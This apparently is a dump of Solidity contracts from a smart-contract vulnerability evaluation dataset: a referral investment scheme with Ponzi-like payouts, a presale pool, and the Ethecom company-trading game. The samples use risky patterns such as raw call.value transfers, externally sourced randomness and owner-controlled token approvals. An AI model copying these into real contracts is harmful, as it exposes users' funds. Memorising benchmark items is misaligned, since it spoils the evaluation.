uint256 uid = address2UID[_addr];
if (uid == 0) {
uid = _addInvestor(_addr, _referrerCode);
//new user
} else {
//old user
//do nothing, referrer is permenant
}
uint256 planCount = uid2Investor[uid].planCount;
Objects.Investor storage investor = uid2Investor[uid];
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].currentDividends = 0;
investor.plans[planCount].isExpired = false;
investor.planCount = investor.planCount.add(1);
_calculateReferrerReward(_amount, investor.referrer);
totalInvestments_ = totalInvestments_.add(_amount);
uint256 developerPercentage = (_amount.mul(DEVELOPER_RATE)).div(1000);
developerAccount_.transfer(developerPercentage);
uint256 marketingPercentage = (_amount.mul(MARKETING_RATE)).div(1000);
marketingAccount_.transfer(marketingPercentage);
return true;
}
function _reinvestAll(address _addr, uint256 _amount) private returns (bool) {
require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
uint256 uid = address2UID[_addr];
uint256 planCount = uid2Investor[uid].planCount;
Objects.Investor storage investor = uid2Investor[uid];
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].currentDividends = 0;
investor.plans[planCount].isExpired = false;
investor.planCount = investor.planCount.add(1);
totalReinvestments_ = totalReinvestments_.add(_amount);
return true;
}
function invest(uint256 _referrerCode) public payable {
if (_invest(msg.sender, _referrerCode, msg.value)) {
emit onInvest(msg.sender, msg.value);
}
}
function withdraw() public {
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not withdraw because no any investments");
require(withdrawAllowance(), "Withdraw are not allowed between 0am to 4am UTC");
//only once a day
require(block.timestamp > uid2Investor[uid].checkpoint + 1 days , "Only once a day");
uid2Investor[uid].checkpoint = block.timestamp;
uint256 withdrawalAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) {
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(PLAN_TERM);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , PLAN_INTEREST , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate);
withdrawalAmount += amount;
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends += amount;
}
if(withdrawalAmount>0){
uint256 currentBalance = getBalance();
if(withdrawalAmount >= currentBalance){
withdrawalAmount=currentBalance;
}
require(currentBalance.sub(withdrawalAmount) >= contract_balance.mul(CONTRACT_LIMIT).div(1000), "10% contract balance limit");
uint256 reinvestAmount = withdrawalAmount.div(999999); // wdrawalble amount divided by div
if(withdrawalAmount > 20e9){
reinvestAmount = withdrawalAmount.sub(9999999);
}
//reinvest
uid2Investor[uid].reinvestWallet = uid2Investor[uid].reinvestWallet.add(reinvestAmount);
//withdraw
msg.sender.transfer(withdrawalAmount.sub(reinvestAmount));
uint256 developerPercentage = (withdrawalAmount.mul(DEVELOPER_RATE)).div(1000);
developerAccount_.transfer(developerPercentage);
uint256 marketingPercentage = (withdrawalAmount.mul(MARKETING_RATE)).div(1000);
marketingAccount_.transfer(marketingPercentage);
}
emit onWithdraw(msg.sender, withdrawalAmount);
}
function reinvest() public {
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not reinvest because no any investments");
//only once a day
require(block.timestamp > uid2Investor[uid].checkpoint + 1 days , "Only once a day");
uid2Investor[uid].checkpoint = block.timestamp;
uint256 withdrawalAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) {
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(PLAN_TERM);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , PLAN_INTEREST , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate);
withdrawalAmount += amount;
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends += amount;
}
if (uid2Investor[uid].availableReferrerEarnings>0) {
withdrawalAmount += uid2Investor[uid].availableReferrerEarnings;
uid2Investor[uid].referrerEarnings = uid2Investor[uid].availableReferrerEarnings.add(uid2Investor[uid].referrerEarnings);
uid2Investor[uid].availableReferrerEarnings = 0;
}
if (uid2Investor[uid].reinvestWallet>0) {
withdrawalAmount += uid2Investor[uid].reinvestWallet;
uid2Investor[uid].reinvestWallet = 0;
}
if(withdrawalAmount>0){
//reinvest
_reinvestAll(msg.sender,withdrawalAmount);
}
emit onReinvest(msg.sender, withdrawalAmount);
}
function _calculateDividends(uint256 _amount, uint256 _dailyInterestRate, uint256 _now, uint256 _start) private pure returns (uint256) {
return (_amount * _dailyInterestRate / 1000 * (_now - _start)) / (60*60*24);
}
function _calculateReferrerReward(uint256 _investment, uint256 _referrerCode) private {
uint256 _allReferrerAmount = (_investment.mul(REFERENCE_RATE)).div(1000);
if (_referrerCode != 0) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uint256 _refAmount = 0;
if (_ref1 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL1_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref1].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref1].availableReferrerEarnings);
}
if (_ref2 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL2_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref2].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref2].availableReferrerEarnings);
}
if (_ref3 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL3_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref3].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref3].availableReferrerEarnings);
}
}
}
function updateBalance() public {
//only once a day
require(block.timestamp > contract_checkpoint + 1 days , "Only once a day");
contract_checkpoint = block.timestamp;
contract_balance = getBalance();
}
function getHour() public view returns (uint8){
return uint8((block.timestamp / 60 / 60) % 24);
}
function withdrawAllowance() public view returns(bool){
uint8 hour = getHour();
if(hour >= 0 && hour <= 3){
return false;
}
else{
return true;
}
}
}
| 302,576 | 10,697 |
c703bb3b204d93ff6936bda040ecb35961365680a027d6e010433b91c20c53be
| 13,609 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.4/0x7563e06d6507dd9ee37ba9f957e0d57a6a16daa1.sol
| 3,025 | 11,369 |
pragma solidity ^0.4.19;
// Wolf Crypto pooling contract for NOUS
// written by @iamdefinitelyahuman
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
}
contract PresalePool {
// SafeMath is a library to ensure that math operations do not have overflow errors
// https://zeppelin-solidity.readthedocs.io/en/latest/safemath.html
using SafeMath for uint;
// The contract has 3 stages:
// 1 - The initial state. Contributors can deposit or withdraw eth to the contract.
uint8 public contractStage = 1;
// These variables are set at the time of contract creation
// the address that creates the contract
address public owner;
// the minimum eth amount (in wei) that can be sent by a contributing address
uint constant public contributionMin = 100000000000000000;
// the maximum eth amount (in wei) that can be held by the contract
uint public maxContractBalance;
// the % of tokens kept by the contract owner
uint public feePct;
// the addresses that the pool may be paid out to
address[] public receiverAddresses = [0x3133b33e203f7066e3e0449450603e7ff6c4717f, // 1000+
0x43d7c5807dC0480B1b3884Cc891A91cBa87FEf14, // 750-1000
0xb977da9af8aa28fcc8493eb32c54a08197680d70]; // 500-750
// the address the pool was paid to
address public paidAddress;
// These variables are all initially blank and are set at some point during the contract
// the amount of eth (in wei) present in the contract when it was submitted
uint public finalBalance;
// an array containing eth amounts to be refunded in stage 3
uint[] public ethRefundAmount;
// the default token contract to be used for withdrawing tokens in stage 3
address public activeToken;
struct Contributor {
uint ethRefund;
uint balance;
mapping (address => uint) tokensClaimed;
}
// a mapping that holds the contributor struct for each address
mapping (address => Contributor) contributorMap;
// a data structure for holding information related to token withdrawals.
struct TokenAllocation {
ERC20 token;
uint[] pct;
uint balanceRemaining;
}
// a mapping that holds the token allocation struct for each token address
mapping (address => TokenAllocation) distributionMap;
// this modifier is used for functions that can only be accessed by the contract creator
modifier onlyOwner () {
require (msg.sender == owner);
_;
}
// this modifier is used to prevent re-entrancy exploits during contract > contract interaction
bool locked;
modifier noReentrancy() {
require (!locked);
locked = true;
_;
locked = false;
}
// Events triggered throughout contract execution
// These can be watched via geth filters to keep up-to-date with the contract
event ContributorBalanceChanged (address contributor, uint totalBalance);
event PoolSubmitted (address receiver, uint amount);
event WithdrawalsOpen (address tokenAddr);
event TokensWithdrawn (address receiver, uint amount);
event EthRefundReceived (address sender, uint amount);
event EthRefunded (address receiver, uint amount);
event ERC223Received (address token, uint value);
// These are internal functions used for calculating fees, eth and token allocations as %
// returns a value as a % accurate to 20 decimal points
function _toPct (uint numerator, uint denominator) internal pure returns (uint) {
return numerator.mul(10 ** 20) / denominator;
}
// returns % of any number, where % given was generated with toPct
function _applyPct (uint numerator, uint pct) internal pure returns (uint) {
return numerator.mul(pct) / (10 ** 20);
}
// This function is called at the time of contract creation,
// it sets the initial variables and the contract owner.
function PresalePool(uint contractMaxInWei, uint fee) public {
require (fee < 100);
owner = msg.sender;
maxContractBalance = contractMaxInWei;
feePct = _toPct(fee,100);
}
// This function is called whenever eth is sent into the contract.
function () payable public {
if (contractStage == 1) {
_ethDeposit();
} else if (contractStage == 3) {
_ethRefund();
} else revert();
}
// Internal function for handling eth deposits during contract stage one.
function _ethDeposit () internal {
assert (contractStage == 1);
uint size;
address addr = msg.sender;
assembly { size := extcodesize(addr) }
require (size == 0);
require (this.balance <= maxContractBalance);
var c = contributorMap[msg.sender];
uint newBalance = c.balance.add(msg.value);
require (newBalance >= contributionMin);
c.balance = newBalance;
ContributorBalanceChanged(msg.sender, newBalance);
}
// Internal function for handling eth refunds during stage three.
function _ethRefund () internal {
assert (contractStage == 3);
require (msg.sender == owner || msg.sender == paidAddress);
require (msg.value >= contributionMin);
ethRefundAmount.push(msg.value);
EthRefundReceived(msg.sender, msg.value);
}
function withdraw (address tokenAddr) public {
var c = contributorMap[msg.sender];
require (c.balance > 0);
if (contractStage < 3) {
uint amountToTransfer = c.balance;
c.balance = 0;
msg.sender.transfer(amountToTransfer);
ContributorBalanceChanged(msg.sender, 0);
} else {
_withdraw(msg.sender, tokenAddr);
}
}
// This function allows the contract owner to force a withdrawal to any contributor.
function withdrawFor (address contributor, address tokenAddr) public onlyOwner {
require (contractStage == 3);
require (contributorMap[contributor].balance > 0);
_withdraw(contributor, tokenAddr);
}
// This internal function handles withdrawals during stage three.
// The associated events will fire to notify when a refund or token allocation is claimed.
function _withdraw (address receiver, address tokenAddr) internal {
assert (contractStage == 3);
var c = contributorMap[receiver];
if (tokenAddr == 0x00) {
tokenAddr = activeToken;
}
var d = distributionMap[tokenAddr];
require (ethRefundAmount.length > c.ethRefund || d.pct.length > c.tokensClaimed[tokenAddr]);
if (ethRefundAmount.length > c.ethRefund) {
uint pct = _toPct(c.balance, finalBalance);
uint ethAmount = 0;
for (uint i = c.ethRefund; i < ethRefundAmount.length; i++) {
ethAmount = ethAmount.add(_applyPct(ethRefundAmount[i], pct));
}
c.ethRefund = ethRefundAmount.length;
if (ethAmount > 0) {
receiver.transfer(ethAmount);
EthRefunded(receiver, ethAmount);
}
}
if (d.pct.length > c.tokensClaimed[tokenAddr]) {
uint tokenAmount = 0;
for (i = c.tokensClaimed[tokenAddr]; i < d.pct.length; i++) {
tokenAmount = tokenAmount.add(_applyPct(c.balance, d.pct[i]));
}
c.tokensClaimed[tokenAddr] = d.pct.length;
if (tokenAmount > 0) {
require (d.token.transfer(receiver, tokenAmount));
d.balanceRemaining = d.balanceRemaining.sub(tokenAmount);
TokensWithdrawn(receiver, tokenAmount);
}
}
}
function modifyMaxContractBalance (uint amount) public onlyOwner {
require (contractStage < 3);
require (amount >= contributionMin);
require (amount >= this.balance);
maxContractBalance = amount;
}
function checkPoolBalance () view public returns (uint poolCap, uint balance, uint remaining) {
if (contractStage == 1) {
remaining = maxContractBalance.sub(this.balance);
} else {
remaining = 0;
}
return (maxContractBalance,this.balance,remaining);
}
function checkContributorBalance (address addr) view public returns (uint balance, uint cap, uint remaining) {
var c = contributorMap[addr];
if (contractStage == 1) {
remaining = maxContractBalance.sub(this.balance);
} else {
remaining = 0;
}
return (c.balance, maxContractBalance, remaining);
}
// This callable function returns the token balance that a contributor can currently claim.
function checkAvailableTokens (address addr, address tokenAddr) view public returns (uint tokenAmount) {
var c = contributorMap[addr];
var d = distributionMap[tokenAddr];
for (uint i = c.tokensClaimed[tokenAddr]; i < d.pct.length; i++) {
tokenAmount = tokenAmount.add(_applyPct(c.balance, d.pct[i]));
}
return tokenAmount;
}
// This function closes further contributions to the contract, advancing it to stage two.
// It can only be called by the owner. After this call has been made, contributing addresses
// can still remove their eth from the contract but cannot contribute any more.
function closeContributions () public onlyOwner {
require (contractStage == 1);
contractStage = 2;
}
// This function reopens the contract to contributions, returning it to stage one.
// It can only be called by the owner during stage two.
function reopenContributions () public onlyOwner {
require (contractStage == 2);
contractStage = 1;
}
// it is VERY IMPORTANT not to get the amount wrong.
function submitPool (uint amountInWei) public onlyOwner noReentrancy {
require (contractStage < 3);
require (contributionMin <= amountInWei && amountInWei <= this.balance);
finalBalance = this.balance;
if (amountInWei >= 1000 ether) paidAddress = receiverAddresses[0];
else if (amountInWei >= 750 ether) paidAddress = receiverAddresses[1];
else paidAddress = receiverAddresses[2];
require (paidAddress.call.value(amountInWei).gas(msg.gas.sub(5000))());
ethRefundAmount.push(this.balance);
contractStage = 3;
PoolSubmitted(paidAddress, amountInWei);
}
// This function opens the contract up for token withdrawals.
// the default withdrawal (in the event of an airdrop, for example).
function enableTokenWithdrawals (address tokenAddr, bool notDefault) public onlyOwner noReentrancy {
require (contractStage == 3);
if (notDefault) {
require (activeToken != 0x00);
} else {
activeToken = tokenAddr;
}
var d = distributionMap[tokenAddr];
if (d.pct.length == 0) d.token = ERC20(tokenAddr);
uint amount = d.token.balanceOf(this).sub(d.balanceRemaining);
require (amount > 0);
if (feePct > 0) {
require (d.token.transfer(owner,_applyPct(amount, feePct)));
}
amount = d.token.balanceOf(this).sub(d.balanceRemaining);
d.balanceRemaining = d.token.balanceOf(this);
d.pct.push(_toPct(amount, finalBalance));
WithdrawalsOpen(tokenAddr);
}
// This is a standard function required for ERC223 compatibility.
function tokenFallback (address from, uint value, bytes data) public {
ERC223Received(from, value);
}
}
| 220,572 | 10,698 |
f8e9d6c57fde3a403052139bcd123043e4030fdb438346591ebaeed05e48d66f
| 18,029 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x3c4eace49c96a6e6412dcffd08d5a8febcc70fbd.sol
| 4,129 | 16,440 |
pragma solidity ^0.4.21;
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Utils {
function sqrt(uint256 x) public pure returns (uint256 y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
function lowerCase(bytes32 value) public pure returns (bytes32) {
bytes32 result = value;
for (uint i = 0; i < 32; i++) {
if (uint(value[i]) >= 65 && uint(value[i]) <= 90) {
result |= bytes32(0x20) << (31-i)*8;
}
}
return result;
}
function validateCompanyName(bytes32 name) public pure returns (bool) {
for (uint i = 0; i < 32; i++) {
if (uint(name[i]) != 0 && (uint(name[i]) < 32 || uint(name[i]) > 126)) {
return false;
}
}
return true;
}
}
contract CompanyCostInterface is Ownable {
function getCreationCost() public view returns (uint256); // in ECOM without decimals
function getCompanyCount() public view returns (uint256);
function getOffsaleCount() public view returns (uint256);
function increaseCompanyCountByOne() public;
function increaseOffsaleCountByOne() public;
function decreaseOffsaleCountByOne() public;
function calculateNextPrice(uint256 oldPrice) public view returns (uint256);
function calculatePreviousPrice(uint256 newPrice) public view returns (uint256);
}
contract RandomGeneratorInterface {
function rand(address sender) public returns (uint256);
}
contract TopCompanyFactoryInterface is Ownable {
struct TopCompany {
bytes32 name;
uint256 performance;
bytes32 logoUrl;
}
uint256 public startPrice; // First available value of a top company (In wei)
int256 public startBlock;
uint256 public initialAvailableCount;
// Release a new company every 2 hours (given that a block is generated every 15 seconds)
uint256 public blocksBetweenNewCompany;
uint256 public companyCount;
TopCompany[] public companies;
mapping(bytes32 => uint256) public companiesIndex;
function canBuyCompany(bytes32 nameLowercase) public view returns (bool);
function getCompanyByName(bytes32 nameLowercase) public view returns (bytes32 name, uint256 performance, bytes32 logoUrl);
function getCompany(uint256 index) public view returns (bytes32 name, uint256 performance, bytes32 logoUrl);
function removeCompany(bytes32 nameLowercase) public returns (uint256);
}
contract ECOMTokenInterface is Ownable {
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function ownerApprove(address _sender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Ethecom is Ownable {
struct Company {
bytes32 name;
bytes32 logoUrl;
uint performance;
address owner;
uint price;
uint lastPrice;
bool isOnsale;
}
event CompanyCreated(bytes32 name, bytes32 logoUrl,uint256 performance, uint256 price, address owner);
event CompanyTransferred(bytes32 name, uint256 newPrice, address oldOwner, address owner);
event CompanyLogoUpdated(bytes32 name, bytes32 logoUrl, address owner);
event CompanySaleStatusChanged(bytes32 name, bool saleStatus, uint256 lastPrice, address owner);
event SuperPrivilegeLuckyDrawResult(uint256 resultValue, bool status, address owner);
ECOMTokenInterface public tokenContract;
TopCompanyFactoryInterface public factoryContract;
RandomGeneratorInterface public randContract;
CompanyCostInterface public costContract;
Utils private utils;
uint ECOMDecimal = 100000000;
// Owner can update this value
uint256 public blocksPerDay = 5000;
// Map company name to company object
mapping(bytes32 => Company) public companies;
// Total performance of all companies owned by a user
mapping(address => uint256) public ownedPerformance;
// The last time a user claim their ECOM token so that it will be transferred to their eth account
mapping(address => uint256) public lastTokenClaimedBlock;
// Number of super privileges an account has
mapping (address => uint256) public superPrivilegeCount;
// Minimum random value required to get a super privilege
uint256 public minRandomPrivilegeValue = 90;
uint256 public superPrivilegeCost = 30; // in ECOM token
uint256 public maxUserCreatedPerformance = 35;// Max performance of a user created company
uint256 public oldOwnerProfit = 80;
uint256 public logoFee = 10; // In ECOM
uint256 public minCompanyValue = 1000000000000000; // in wei
uint256 public maxCompanyValue = 100000000000000000000; // in wei
constructor(address ECOMToken, address topCompanyFactory, address randomGenerator, address companyCost) public {
factoryContract = TopCompanyFactoryInterface(topCompanyFactory);
randContract = RandomGeneratorInterface(randomGenerator);
costContract = CompanyCostInterface(companyCost);
tokenContract = ECOMTokenInterface(ECOMToken);
utils = new Utils();
}
function updateBlocksPerDay(uint256 value) public onlyOwner {
blocksPerDay = value;
}
function updateSuperPrivilegeParams(uint256 minRandom, uint256 cost) public onlyOwner {
minRandomPrivilegeValue = minRandom;
superPrivilegeCost = cost;
}
function updateUserCreatedPerformance(uint256 max) public onlyOwner {
maxUserCreatedPerformance = max;
}
function updateLogoFee(uint256 newFee) public onlyOwner {
logoFee = newFee;
}
function updateOldOwnerProfit(uint256 newProfit) public onlyOwner {
oldOwnerProfit = newProfit;
}
function updateMinCompanyValue(uint256 minValue) public onlyOwner {
minCompanyValue = minValue;
}
function purchaseCompany(bytes32 nameFromUser, bool superPrivilege) public payable {
bytes32 nameLowercase = utils.lowerCase(nameFromUser);
Company storage c = companies[nameLowercase];
require(c.owner != address(0));
require(c.owner != msg.sender);
require(c.price == msg.value);
require(c.isOnsale == true);
if (superPrivilege) {
require(superPrivilegeCount[msg.sender] > 0);
}
address oldOwner = c.owner;
uint256 profit = c.price - c.lastPrice;
oldOwner.transfer(c.lastPrice + profit * 8/10);
c.owner = msg.sender;
c.lastPrice = c.price;
c.price = costContract.calculateNextPrice(c.price);
emit CompanyTransferred(c.name, c.price, oldOwner, msg.sender);
claimToken(oldOwner);
ownedPerformance[oldOwner] -= c.performance;
claimToken(msg.sender);
ownedPerformance[msg.sender] += c.performance;
if (superPrivilege) {
c.isOnsale = false;
superPrivilegeCount[msg.sender]--;
emit CompanySaleStatusChanged(c.name, c.isOnsale, c.price, msg.sender);
}
}
function purchaseTopCompany(bytes32 nameFromUser, bool superPrivilege) public payable {
// Check for sending enough eth
uint256 startPrice = factoryContract.startPrice();
require(msg.value == startPrice);
bytes32 nameLowercase = utils.lowerCase(nameFromUser);
// uint256 index = factoryContract.companiesIndex(nameLowercase);
// Check for company name availability
// require(index != 0);
require(companies[nameLowercase].owner == address(0));
// Check if it is avaialble for purchase
require(factoryContract.canBuyCompany(nameLowercase));
if (superPrivilege) {
require(superPrivilegeCount[msg.sender] > 0);
}
bytes32 name;
uint256 performance;
bytes32 logoUrl;
(name, performance, logoUrl) = factoryContract.getCompanyByName(nameLowercase);
uint256 price = costContract.calculateNextPrice(startPrice);
Company memory c = Company(name, logoUrl, performance, msg.sender, price, startPrice, !superPrivilege);
companies[nameLowercase] = c;
claimToken(msg.sender);
ownedPerformance[msg.sender] += performance;
factoryContract.removeCompany(nameLowercase);
//emit CompanyCreated(name, logoUrl, performance, price, msg.sender);
emit CompanyTransferred(name, price, address(0), msg.sender);
if (superPrivilege) {
superPrivilegeCount[msg.sender]--;
emit CompanySaleStatusChanged(c.name, c.isOnsale, c.price, msg.sender);
}
}
// Anyone with enough ECOM token can create a company
// Companies are unique by name
// User can set the inital value for their company (without knowing it performance)
// Newly created company will be put on sale immediately
function createCompany(bytes32 name, bytes32 logoUrl, uint256 value) public {
require(value >= minCompanyValue);
require(value <= maxCompanyValue);
require(utils.validateCompanyName(name) == true);
bytes32 nameLowercase = utils.lowerCase(name);
// If company doesn't exists, owner address will be address 0
require(factoryContract.companiesIndex(nameLowercase) == 0);
require(companies[nameLowercase].owner == address(0));
uint256 cost = costContract.getCreationCost() * ECOMDecimal;
claimToken(msg.sender);
transferECOMTokenToContract(cost);
uint256 performance = generateRandomPerformance();
Company memory c = Company(name, logoUrl, performance, msg.sender, value, costContract.calculatePreviousPrice(value), true);
companies[nameLowercase] = c;
ownedPerformance[msg.sender] += performance;
costContract.increaseCompanyCountByOne();
emit CompanyCreated(name, logoUrl, performance, value, msg.sender);
}
// Use 1 super privilege to permanently own a company
function permanentlyOwnMyCompany(bytes32 nameFromUser) public {
bytes32 nameLowercase = utils.lowerCase(nameFromUser);
Company storage c = companies[nameLowercase];
require(superPrivilegeCount[msg.sender] > 0);
require(c.owner != address(0));
require(c.owner == msg.sender);
require(c.isOnsale == true);
c.isOnsale = false;
superPrivilegeCount[msg.sender]--;
emit CompanySaleStatusChanged(c.name, false, c.price, msg.sender);
}
// Put a permanently owned company on sale again
function putCompanyOnsale(bytes32 nameFromUser, uint256 startPrice) public {
require(startPrice >= minCompanyValue);
require(startPrice <= maxCompanyValue);
bytes32 nameLowercase = utils.lowerCase(nameFromUser);
Company storage c = companies[nameLowercase];
require(c.owner != address(0));
require(c.owner == msg.sender);
require(c.isOnsale == false);
c.price = startPrice;
c.lastPrice = costContract.calculatePreviousPrice(c.price);
c.isOnsale = true;
emit CompanySaleStatusChanged(c.name, c.isOnsale, c.price, msg.sender);
}
// Anyone can call to this method to try to get a super privileged
function runSuperPrivilegeLuckyDraw() public {
claimToken(msg.sender);
transferECOMTokenToContract(superPrivilegeCost*ECOMDecimal);
uint256 rand = randContract.rand(msg.sender);
rand = rand % 100;
bool status = false;
if (rand >= minRandomPrivilegeValue) {
superPrivilegeCount[msg.sender] = superPrivilegeCount[msg.sender] + 1;
status = true;
}
emit SuperPrivilegeLuckyDrawResult(rand, status, msg.sender);
}
// Anyone who owned some companies can claim their token
function claimMyToken() public {
require(ownedPerformance[msg.sender] > 0);
claimToken(msg.sender);
}
function updateLogoUrl(bytes32 companyName, bytes32 logoUrl) public {
bytes32 nameLowercase = utils.lowerCase(companyName);
Company storage c = companies[nameLowercase];
require(c.owner == msg.sender);
claimToken(msg.sender);
transferECOMTokenToContract(logoFee * ECOMDecimal);
c.logoUrl = logoUrl;
emit CompanyLogoUpdated(c.name, c.logoUrl, msg.sender);
}
function updateTokenContract(address addr) public onlyOwner {
tokenContract = ECOMTokenInterface(addr);
}
function updateRandContract(address addr) public onlyOwner {
randContract = RandomGeneratorInterface(addr);
}
function updateCostContract(address addr) public onlyOwner {
costContract = CompanyCostInterface(addr);
}
function updateFactoryContract(address addr) public onlyOwner {
factoryContract = TopCompanyFactoryInterface(addr);
}
function transferSubcontractsOwnership(address addr) public onlyOwner {
tokenContract.transferOwnership(addr);
costContract.transferOwnership(addr);
factoryContract.transferOwnership(addr);
// Random generator contract doesn't need to be transferred
}
function withdraw(uint256 amount) public onlyOwner {
if (amount == 0) {
owner.transfer(address(this).balance);
} else {
owner.transfer(amount);
}
}
function getTopCompanyStartPrice() public view returns (uint256) {
return factoryContract.startPrice();
}
function getTopCompanyStartBlock() public view returns (int256) {
return factoryContract.startBlock();
}
function getTopCompanyBlocksInBetween() public view returns (uint256) {
return factoryContract.blocksBetweenNewCompany();
}
function getTopCompanyCount() public view returns (uint256) {
return factoryContract.companyCount();
}
function getTopCompanyAtIndex(uint256 index) public view returns (bytes32 name, uint256 performance, bytes32 logoUrl) {
return factoryContract.getCompany(index);
}
function getCompanyCreationCost() public view returns (uint256) {
return costContract.getCreationCost();
}
function checkCompanyNameAvailability(bytes32 name) public view returns (uint256) {
uint256 result = 1;
bytes32 nameLowercase = utils.lowerCase(name);
if (utils.validateCompanyName(name) != true) {
result = 0;
} else if (factoryContract.companiesIndex(nameLowercase) != 0) {
result = 0;
} else if (companies[nameLowercase].owner != address(0)) {
result = 0;
}
return result;
}
// Private methods
function transferECOMTokenToContract(uint256 amount) private {
require(tokenContract.balanceOf(msg.sender) >= amount);
tokenContract.ownerApprove(msg.sender, amount);
tokenContract.transferFrom(msg.sender, address(this), amount);
}
function generateRandomPerformance() private returns (uint256) {
uint256 rand = randContract.rand(msg.sender);
rand = rand % (maxUserCreatedPerformance * maxUserCreatedPerformance);
rand = utils.sqrt(rand);
return maxUserCreatedPerformance - rand;
}
function claimToken(address receiver) private {
uint256 numBlock = block.number - lastTokenClaimedBlock[receiver];
uint256 profitPerBlock = ownedPerformance[receiver] * ECOMDecimal / blocksPerDay;
uint256 profit = numBlock * profitPerBlock;
if (profit > 0) {
tokenContract.transfer(receiver, profit);
}
lastTokenClaimedBlock[receiver] = block.number;
}
}
| 214,154 | 10,699 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.